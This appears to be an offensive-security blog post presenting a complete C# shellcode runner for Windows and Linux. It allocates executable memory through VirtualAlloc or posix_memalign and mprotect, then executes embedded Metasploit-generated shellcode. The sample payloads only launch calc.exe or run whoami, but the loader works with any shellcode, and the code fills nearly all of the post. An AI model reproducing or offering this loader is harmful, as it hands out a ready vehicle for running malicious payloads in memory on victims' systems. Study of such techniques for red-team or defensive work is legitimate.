Executing native payloads as unmanaged code on both linux and windows.


m3rcer

We write a program to execute native payloads as unmanaged code on both linux and windows. (using metasploit)

  • We integrate the previous program to run native windows payloads along with some libs and conditions for handling linux execution:

    We added libraries from libc to execute os cmds on linux.

    Added an else-if statement to check if its a linux system and execute payloads according to its architecture in the code block.

  • Note: If SeLinux is enabled it restricts RWX memory allocation. Try using Ubuntu.

CODE:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using System.Runtime;

// Works on both Windows/ Linux
namespace msf_payload_using_Csharp
{
    public class MainClass
    {
        // Importing VirtualAlloc() from kernel32.dll
        [DllImport("Kernel32")]
        static extern IntPtr VirtualAlloc(IntPtr ptr, IntPtr size, IntPtr type, IntPtr mode);

        delegate void WindowsRun();

        // Importing 3 functions from libc - mprotect(), posix_memalign() and free()
        [DllImport("libc")]
        static extern IntPtr mprotect(IntPtr ptr, IntPtr length, IntPtr protection);

        [DllImport("libc")]
        static extern IntPtr posix_memalign(ref IntPtr ptr, IntPtr alignment, IntPtr size);

        [DllImport("libc")]
        static extern void free(IntPtr ptr);
        // UnamanagedFunctionPointer attr using Cdecl as Cdecl is calling convention of Linux
        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
        delegate void LinuxRun();

        public static void Main(string[] arg)
        {
            // Identifies platform property
            OperatingSystem os = Environment.OSVersion;
            // Verifying architecture by check IntPtr size (4 for 32bit, 8 for 64bit)
            bool x86 = (IntPtr.Size == 4);
            byte[] payload;

            if (os.Platform == PlatformID.Win32Windows || os.Platform == PlatformID.Win32NT)
            {
                //CMD = calc.exe
                // shellcode gen for x86-x64 using msf
                if (!x86)
                    payload = new byte[] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x2e,0x65,0x78,0x65,0x00 };
                // shellcode gen for x86 using msf
                else
                    payload = new byte[] { 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00  };

                // Returns ptr to allocated memory
                IntPtr ptr = VirtualAlloc(IntPtr.Zero, (IntPtr)payload.Length, (IntPtr)0x1000, (IntPtr)0x40);
                // Copying payload directly to memory space
                Marshal.Copy(payload, 0, ptr, payload.Length);
                // Ref assembly as an unmanaged func ptr
                WindowsRun r = (WindowsRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun));
                // Calling delegated func to execute assembly code
                r();
            }
            // Testing against magic integer values to determine if system is UNIX
            else if ((int)os.Platform == 4 || (int)os.Platform == 6 || (int)os.Platform == 128)
            {
                // CMD = whoami
                if (!x86)
                    payload = new byte[] { 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54, 0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x07, 0x00, 0x00, 0x00, 0x77, 0x68, 0x6f, 0x61, 0x6d, 0x69, 0x00, 0x56, 0x57, 0x54, 0x5e, 0x6a, 0x3b, 0x58, 0x0f, 0x05 };
                else
                    payload = new byte[] { 0x6a,0x0b,0x58,0x99,0x52,0x66,0x68,0x2d,0x63,0x89,0xe7,0x68,0x2f,0x73,0x68,0x00,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x52,0xe8,0x07,0x00,0x00,0x00,0x77,0x68,0x6f,0x61,0x6d,0x69,0x00,0x57,0x53,0x89,0xe1,0xcd,0x80 };

                //Allocating memory
                // ptr at beginning of allocated memory
                IntPtr ptr = IntPtr.Zero;
                // value returned by memalign
                IntPtr success = IntPtr.Zero;
                // Incase allocation fails
                bool freeMe = false;
                try
                {
                    // Default memory page size
                    int pagesize = 4096;
                    IntPtr length = (IntPtr)payload.Length;
                    // Will return IntPtr.Zero for succesfull allocation
                    success = posix_memalign(ref ptr, (IntPtr)32, length);
                    // If not succesfully allocated
                    if (success != IntPtr.Zero)
                    {
                        Console.WriteLine("[!] Bail! memalign failed: " + success);
                    }
                    // Changing mode to RWX
                    freeMe = true;
                    // Get page aligned memory space
                    IntPtr alignedPtr = (IntPtr)((int)ptr & ~(pagesize - 1));
                    IntPtr mode = (IntPtr)(0x04 | 0x02 | 0x01); //RWX
                    // IntPtr.Zero return for succesfully mode change
                    success = mprotect(alignedPtr, (IntPtr)32, mode);
                    if (success != IntPtr.Zero)
                    {
                        Console.WriteLine("[!] Bail! mprotect failed");
                        return;
                    }
                    Marshal.Copy(payload, 0, ptr, payload.Length);
                    LinuxRun r = (LinuxRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(LinuxRun));
                    r();
                }
                finally
                {
                    if (freeMe)
                        free(ptr);
                }
            }
        }
    }
}

OUTPUT:

  1. Calc.exe Popped! - Windows
  2. whoami run - UNIX